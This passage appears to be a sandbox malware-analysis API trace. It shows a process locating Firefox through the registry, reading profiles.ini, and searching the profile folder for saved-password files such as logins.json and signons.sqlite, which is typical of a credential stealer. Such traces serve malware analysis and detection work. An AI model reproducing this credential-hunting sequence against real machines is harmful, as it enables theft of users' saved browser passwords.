phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0047.413] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0047.413] RegCloseKey (hKey=0x398) returned 0x0 [0047.413] LocalFree (hMem=0x75b090) returned 0x0 [0047.413] LocalFree (hMem=0x754820) returned 0x0 [0047.413] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x2, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0047.413] RegCloseKey (hKey=0x394) returned 0x0 [0047.413] LocalFree (hMem=0x75a808) returned 0x0 [0047.413] LocalFree (hMem=0x758820) returned 0x0 [0047.413] RegEnumKeyExA (in: hKey=0x390, dwIndex=0x1, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0047.413] RegCloseKey (hKey=0x390) returned 0x0 [0047.413] LocalFree (hMem=0x74ccd0) returned 0x0 [0047.413] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Firefox") returned 0x0 [0047.413] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x74ccd0 [0047.413] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", phkResult=0xefc4c | out: phkResult=0xefc4c*=0x390) returned 0x0 [0047.413] RegEnumKeyExA (in: hKey=0x390, dwIndex=0x0, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.413] lstrlenA (lpString="Software\\Mozilla") returned 16 [0047.413] lstrlenA (lpString="\\") returned 1 [0047.413] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x716ef8 [0047.413] lstrcpyA (in: lpString1=0x716ef8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0047.413] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0047.413] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0047.413] lstrlenA (lpString="Firefox") returned 7 [0047.413] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0047.413] lstrcpyA (in: lpString1=0x758820, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0047.413] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0047.413] LocalFree (hMem=0x716ef8) returned 0x0 [0047.413] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Firefox") returned="Firefox" [0047.413] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0xefbcc | out: phkResult=0xefbcc*=0x394) returned 0x0 [0047.413] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefbc4, lpData=0x0, lpcbData=0xefbc8*=0x7 | out: lpType=0xefbc4*=0x0, lpData=0x0, lpcbData=0xefbc8*=0x0) returned 0x2 [0047.413] RegCloseKey (hKey=0x394) returned 0x0 [0047.413] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0xefba0 | out: phkResult=0xefba0*=0x394) returned 0x0 [0047.413] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb98, lpData=0x0, lpcbData=0xefb9c*=0xefb84 | out: lpType=0xefb98*=0x0, lpData=0x0, lpcbData=0xefb9c*=0x0) returned 0x2 [0047.413] RegCloseKey (hKey=0x394) returned 0x0 [0047.413] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb74 | out: phkResult=0xefb74*=0x0) returned 0x2 [0047.413] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0047.413] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0xefc18 | out: phkResult=0xefc18*=0x394) returned 0x0 [0047.414] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.414] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0047.414] lstrlenA (lpString="\\") returned 1 [0047.414] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x7588c8 [0047.414] lstrcpyA (in: lpString1=0x7588c8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0047.414] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0047.414] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0047.414] lstrlenA (lpString="TaskBarIDs") returned 10 [0047.414] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x754820 [0047.414] lstrcpyA (in: lpString1=0x754820, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0047.414] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0047.414] LocalFree (hMem=0x7588c8) returned 0x0 [0047.414] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Firefox") returned="Firefox\\TaskBarIDs" [0047.414] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0047.414] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x0, lpData=0x0, lpcbData=0xefb94*=0x0) returned 0x2 [0047.414] RegCloseKey (hKey=0x398) returned 0x0 [0047.414] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb6c | out: phkResult=0xefb6c*=0x398) returned 0x0 [0047.414] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb64, lpData=0x0, lpcbData=0xefb68*=0xefb50 | out: lpType=0xefb64*=0x0, lpData=0x0, lpcbData=0xefb68*=0x0) returned 0x2 [0047.414] RegCloseKey (hKey=0x398) returned 0x0 [0047.414] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb40 | out: phkResult=0xefb40*=0x0) returned 0x2 [0047.414] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0047.414] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0047.414] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0047.414] RegCloseKey (hKey=0x398) returned 0x0 [0047.414] LocalFree (hMem=0x75b090) returned 0x0 [0047.414] LocalFree (hMem=0x754820) returned 0x0 [0047.414] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0047.414] RegCloseKey (hKey=0x394) returned 0x0 [0047.414] LocalFree (hMem=0x75a808) returned 0x0 [0047.414] LocalFree (hMem=0x758820) returned 0x0 [0047.414] RegEnumKeyExA (in: hKey=0x390, dwIndex=0x1, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.414] lstrlenA (lpString="Software\\Mozilla") returned 16 [0047.414] lstrlenA (lpString="\\") returned 1 [0047.414] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x716ef8 [0047.415] lstrcpyA (in: lpString1=0x716ef8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0047.415] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0047.415] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0047.415] lstrlenA (lpString="Mozilla Firefox") returned 15 [0047.415] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754820 [0047.415] lstrcpyA (in: lpString1=0x754820, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0047.415] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0047.415] LocalFree (hMem=0x716ef8) returned 0x0 [0047.415] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox", lpSrch="Firefox") returned="Firefox" [0047.415] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0xefbcc | out: phkResult=0xefbcc*=0x394) returned 0x0 [0047.415] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefbc4, lpData=0x0, lpcbData=0xefbc8*=0x7 | out: lpType=0xefbc4*=0x0, lpData=0x0, lpcbData=0xefbc8*=0x0) returned 0x2 [0047.415] RegCloseKey (hKey=0x394) returned 0x0 [0047.415] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0xefba0 | out: phkResult=0xefba0*=0x394) returned 0x0 [0047.415] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb98, lpData=0x0, lpcbData=0xefb9c*=0xefb84 | out: lpType=0xefb98*=0x0, lpData=0x0, lpcbData=0xefb9c*=0x0) returned 0x2 [0047.415] RegCloseKey (hKey=0x394) returned 0x0 [0047.415] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb74 | out: phkResult=0xefb74*=0x0) returned 0x2 [0047.415] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0047.415] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", phkResult=0xefc18 | out: phkResult=0xefc18*=0x394) returned 0x0 [0047.415] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.415] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox") returned 32 [0047.415] lstrlenA (lpString="\\") returned 1 [0047.415] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x7548d0 [0047.415] lstrcpyA (in: lpString1=0x7548d0, lpString2="Software\\Mozilla\\Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0047.415] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0047.415] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\") returned 33 [0047.415] lstrlenA (lpString="25.0 (en-US)") returned 12 [0047.415] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7508d8 [0047.415] lstrcpyA (in: lpString1=0x7508d8, lpString2="Software\\Mozilla\\Mozilla Firefox\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0047.415] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\", lpString2="25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0047.415] LocalFree (hMem=0x7548d0) returned 0x0 [0047.415] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpSrch="Firefox") returned="Firefox\\25.0 (en-US)" [0047.415] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0047.415] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x0, lpData=0x0, lpcbData=0xefb94*=0x0) returned 0x2 [0047.415] RegCloseKey (hKey=0x398) returned 0x0 [0047.415] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb6c | out: phkResult=0xefb6c*=0x398) returned 0x0 [0047.416] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb64, lpData=0x0, lpcbData=0xefb68*=0xefb50 | out: lpType=0xefb64*=0x0, lpData=0x0, lpcbData=0xefb68*=0x0) returned 0x2 [0047.416] RegCloseKey (hKey=0x398) returned 0x0 [0047.416] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb40 | out: phkResult=0xefb40*=0x0) returned 0x2 [0047.416] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0047.416] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0047.416] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Main", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.416] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0047.416] lstrlenA (lpString="\\") returned 1 [0047.416] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x750820 [0047.416] lstrcpyA (in: lpString1=0x750820, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0047.416] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0047.417] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0047.417] lstrlenA (lpString="Main") returned 4 [0047.417] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0047.417] lstrcpyA (in: lpString1=0x756820, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0047.417] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Main" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0047.417] LocalFree (hMem=0x750820) returned 0x0 [0047.418] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", lpSrch="Firefox") returned="Firefox\\25.0 (en-US)\\Main" [0047.418] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb64 | out: phkResult=0xefb64*=0x39c) returned 0x0 [0047.418] RegQueryValueExA (in: hKey=0x39c, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb5c, lpData=0x0, lpcbData=0xefb60*=0x7 | out: lpType=0xefb5c*=0x1, lpData=0x0, lpcbData=0xefb60*=0x33) returned 0x0 [0047.418] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x7568e0 [0047.418] RegQueryValueExA (in: hKey=0x39c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x0, lpData=0x7568e0, lpcbData=0xefb60*=0x33 | out: lpType=0x0, lpData=0x7568e0*=0x43, lpcbData=0xefb60*=0x33) returned 0x0 [0047.418] RegCloseKey (hKey=0x39c) returned 0x0 [0047.418] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0047.418] lstrlenA (lpString="") returned 0 [0047.418] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x7569a0 [0047.418] lstrcpyA (in: lpString1=0x7569a0, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0047.418] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpString2="" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0047.418] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0047.418] StrStrIA (lpFirst="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpSrch=".exe") returned=".exe" [0047.418] StrRChrIA (lpStart="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpEnd=0x0, wMatch=0x5c) returned="\\firefox.exe" [0047.418] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox") returned 38 [0047.418] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.418] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0047.418] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.418] lstrlenA (lpString="\\Mozilla\\Firefox\\") returned 17 [0047.418] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a670 [0047.418] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.418] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0047.418] LocalFree (hMem=0x7469f0) returned 0x0 [0047.418] GetFileAttributesA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox")) returned 0x2010 [0047.419] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox" (normalized: "c:\\program files (x86)\\mozilla firefox")) returned 0x10 [0047.419] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0047.419] lstrlenA (lpString="") returned 0 [0047.419] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a738 [0047.419] lstrcpyA (in: lpString1=0x74a738, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0047.419] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0047.419] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0047.419] lstrlenA (lpString="profiles.ini") returned 12 [0047.419] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x745b68 [0047.419] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0047.419] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="profiles.ini" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" [0047.419] LocalAlloc (uFlags=0x40, uBytes=0xfe6a) returned 0x75b918 [0047.419] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x76b790 [0047.419] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0047.446] CloseHandle (hObject=0x39c) returned 1 [0047.446] GetPrivateProfileSectionNamesA (in: lpszReturnBuffer=0x75b918, nSize=0xfde8, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpszReturnBuffer="General") returned 0x11 [0047.449] StrStrIA (lpFirst="General", lpSrch="Profile") returned 0x0 [0047.449] StrStrIA (lpFirst="Profile0", lpSrch="Profile") returned="Profile0" [0047.449] GetPrivateProfileStringA (in: lpAppName="Profile0", lpKeyName="Path", lpDefault="", lpReturnedString=0x76b790, nSize=0xfff, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpReturnedString="Profiles/asmpdd98.default") returned 0x19 [0047.450] GetPrivateProfileIntA (lpAppName="Profile0", lpKeyName="IsRelative", nDefault=1, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 0x1 [0047.451] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0047.451] lstrlenA (lpString="Profiles/asmpdd98.default") returned 25 [0047.451] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x7469f0 [0047.451] lstrcpyA (in: lpString1=0x7469f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0047.452] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles/asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/asmpdd98.default" [0047.452] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0047.452] lstrlenA (lpString="\\*.*") returned 4 [0047.452] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x746ad0 [0047.452] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0047.452] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*" [0047.452] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*", lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 0x72dc90 [0047.471] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.471] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.528] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.528] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.528] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.528] StrStrIA (lpFirst="addons.json", lpSrch="signons.sqlite") returned 0x0 [0047.528] lstrlenA (lpString="addons.json") returned 11 [0047.528] StrStrIA (lpFirst="addons.json", lpSrch="logins.json") returned 0x0 [0047.528] StrStrIA (lpFirst="addons.json", lpSrch="signons.txt") returned 0x0 [0047.528] StrStrIA (lpFirst="addons.json", lpSrch="signons2.txt") returned 0x0 [0047.528] StrStrIA (lpFirst="addons.json", lpSrch="signons3.txt") returned 0x0 [0047.528] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.528] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0047.528] 